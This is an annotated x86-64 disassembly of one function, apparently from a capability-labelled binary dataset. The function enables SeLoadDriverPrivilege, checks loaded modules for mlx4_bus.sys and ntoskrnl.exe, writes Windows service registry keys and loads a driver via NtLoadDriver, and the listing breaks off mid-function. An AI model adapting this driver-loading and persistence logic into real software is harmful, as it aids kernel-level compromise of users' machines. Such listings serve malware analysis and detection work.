Function at 0x140069280
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1402fa080]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r12d, r12d
mov eax, r12d
mov dword [rbp - 0x60], eax
mov dword [rbp - 0x30], eax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 0xf8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rax, qword [0x1402fb3d8]
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x1400692f9
mov r14d, r12d
jmp 0x14006930b
movsxd r14, dword [rax + 0x3c]
add r14, rax
cmp dword [r14], 0x4550
cmovne r14, r12
mov qword [rbp - 0x78], r14
mov rbx, r12
mov dword [rbp - 0x30], r12d
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069379
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069331
test eax, eax
js 0x14006943b
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x14006943b
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rcx + rbx]
movzx edx, word [rsi + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400693c1
lea rcx, [rbp + 0x30]
call fcn.140031cc0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400694fc
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069431
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006942c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069543
call fcn.1400d3974
inc edi
cmp edi, dword [rbx]
jb 0x140069390
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r14], 0x4550
jne 0x14006b093
mov ebx, dword [r14 + 0x50]
mov dword [rbp + 0x50], ebx
mov eax, dword [0x1402e78b8]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1402e78bc]
mov word [rbp - 0x6c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], r12
mov r8d, ntohs
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp + 0x78]
call fcn.140031cc0
mov r9d, ebx
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x100]
call fcn.140066f60
nop
cmp dword [rbp + 0x148], 0
je 0x14006b087
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.14006d620
mov qword [rbp - 0x70], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x70]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14006955d
mov bl, 1
jmp 0x1400695d0
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14006954f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006954a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006954a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test rdi, rdi
jne 0x14006b093
jmp 0x14006944c
mov qword [rbp - 0x30], r12
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140069586
mov bl, 1
jmp 0x1400695d0
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400695c4
mov bl, 1
jmp 0x1400695d0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140069615
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069610
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069610
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
lea rsi, [0x1402fa1c0]
movdqa xmm6, xmmword [0x1402e7ce0]
test bl, bl
je 0x140069630
mov r15d, r12d
jmp 0x140069ad6
mov rdi, qword [rbp + 0x110]
lea rbx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rbx, qword [rbp + 0x100]
call fcn.1400d2ce8
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x58]
call fcn.1400651b0
mov dword [rbp - 0x30], 3
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rsi
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x30]
call fcn.140066240
mov dword [rbp - 0x30], 7
cmp dword [rbp - 0x50], 0
jne 0x14006b0e7
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x48], rax
call fcn.1400d2ce8
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140070820
mov dword [rbp - 0x30], 0x3f
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.14006e9f0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x10]
call fcn.140031cc0
nop
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x130]
lea rcx, [rbp - 0x10]
call fcn.14006e060
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea r8, [rbp - 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006979e
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140069797
inc rdx
mov rcx, qword [rbp - 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140069792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400698b5
call fcn.1400d3974
mov bl, 1
jmp 0x1400698c6
mov byte [rbp - 0x66], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x66]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006975c
mov byte [rbp - 0x65], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x65]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006975c
mov byte [rbp - 0x67], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006975c
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14006984c
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006975c
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400698c1
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400698bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400698bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test ebx, ebx
setne bl
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140069905
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069900
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140069950
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006994b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006994b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov eax, Ordinal_60
mov dword [rbp - 0x60], eax
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x1400699a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400699a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400699a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqa xmm0, xmmword [0x1402e7cc0]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r12w
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x1400699fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400699f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400699f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test bl, bl
je 0x140069a07
mov r15d, r12d
jmp 0x140069ad6
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x10]
call fcn.140031cc0
nop
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x130]
lea rcx, [rbp + 0x10]
call fcn.14006e060
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069acd
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069ac8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069ac8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
mov r15d, r12d
test ebx, ebx
sete r15b
lea r14, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova r14, qword [rbp + 0x120]
mov rbx, r12
mov dword [rbp - 0x70], r12d
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069b58
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x70]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x70]
mov r8d, dword [rbp - 0x70]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069b10
test eax, eax
js 0x140069c18
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x140069c18
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rbx + rcx]
movzx eax, word [rsi + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140069ba1
lea rcx, [rbp + 0x30]
call fcn.140031cc0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140069f00
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069c0e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069c09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069f47
call fcn.1400d3974
inc edi
cmp edi, dword [rbx]
jb 0x140069b70
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, r12
cmp r15d, 1
ja 0x14006b087
test rdi, rdi
je 0x14006b087
mov r14d, dword [rbp + 0x140]
add r14, rdi
mov qword [rsp + 0x40], r14
mov rbx, r12
mov dword [rbp - 0x30], r12d
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140069cb8
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140069c70
test eax, eax
js 0x140069d7b
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x140069d7b
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140069d00
lea rcx, [rbp + 0x10]
call fcn.140031cc0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rcx, qword [rbp + 0x10]
lea rdx, str.ntoskrnl.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140069f68
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069d71
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069d6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140069faf
call fcn.1400d3974
inc edi
cmp edi, dword [rbx]
jb 0x140069cd0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.140066600
mov r13, rax
call fcn.140066a10
mov r12, rax
test r13, r13
je 0x14006b087
test rax, rax
je 0x14006b087
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
xor r15d, r15d
mov qword [rbp], r15
mov ecx, 0x6677
call fcn.1400d3930
test rax, rax
je 0x14006b0ca
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov qword [rbp - 0x10], rbx
lea rax, [rbx + 0x6650]
mov qword [rbp], rax
mov r8d, 0x6650
lea rdx, [0x1402d7cb0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x6650]
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x10]
call fcn.140067aa0
nop
lea rcx, [rsp + 0x68]
call fcn.1400664a0
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140069e3a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rax
call fcn.1400d2ce8
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x78]
call fcn.140070820
mov esi, dword [rbp - 0x60]
or esi, 0x1c00
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.14006e060
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 0xd
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140069fc5
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069fc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069fc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140069f53
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069f4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
jmp 0x140069c2c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140069d8c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140069fb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140069fb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
jmp 0x140069d8c
call fcn.1400d3974
movdqu xmmword [rbp + 0x88], xmm6
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14006a015
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqa xmm0, xmmword [0x1402e7cc0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r15w
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x150]
call fcn.1400d4a2a
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
lea rcx, [rbp + 0x150]
call fcn.14006c7c0
nop
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
lea rcx, [rbp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x158]
call fcn.14006dce0
test rax, rax
jne 0x14006a0a4
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x150]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.14006d620
mov qword [rbp - 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14006a0d9
mov bl, 1
jmp 0x14006a14c
mov qword [rbp - 0x30], r15
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006a102
mov bl, 1
jmp 0x14006a14c
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006a140
mov bl, 1
jmp 0x14006a14c
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14006a191
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a18c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a18c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test bl, bl
je 0x14006a19c
xor bl, bl
jmp 0x14006a646
mov rdi, qword [rbp + 0x68]
lea rbx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rbx, qword [rbp + 0x58]
call fcn.1400d2ce8
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.1400651b0
or esi, 0xc000
mov dword [rbp - 0x30], esi
mov qword [rbp - 0x50], r15
lea rax, [0x1402fa1c0]
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140066240
bts esi, 0x10
mov dword [rbp - 0x30], esi
cmp dword [rbp - 0x50], 0
jne 0x14006b0d1
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rax, qword [rsp + 0x48]
mov qword [rbp - 0x50], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x48], rax
call fcn.1400d2ce8
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x98]
call fcn.140070820
or esi, 0xe0000
mov dword [rbp - 0x30], esi
lea r8, [rbp + 0x98]
lea rcx, [rbp + 0xc0]
call fcn.14006e9f0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x50]
call fcn.140031cc0
nop
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.14006e060
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea r8, [rbp - 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006a30a
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14006a303
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14006a2fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006a421
call fcn.1400d3974
mov bl, 1
jmp 0x14006a432
mov byte [rbp - 0x67], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2c8
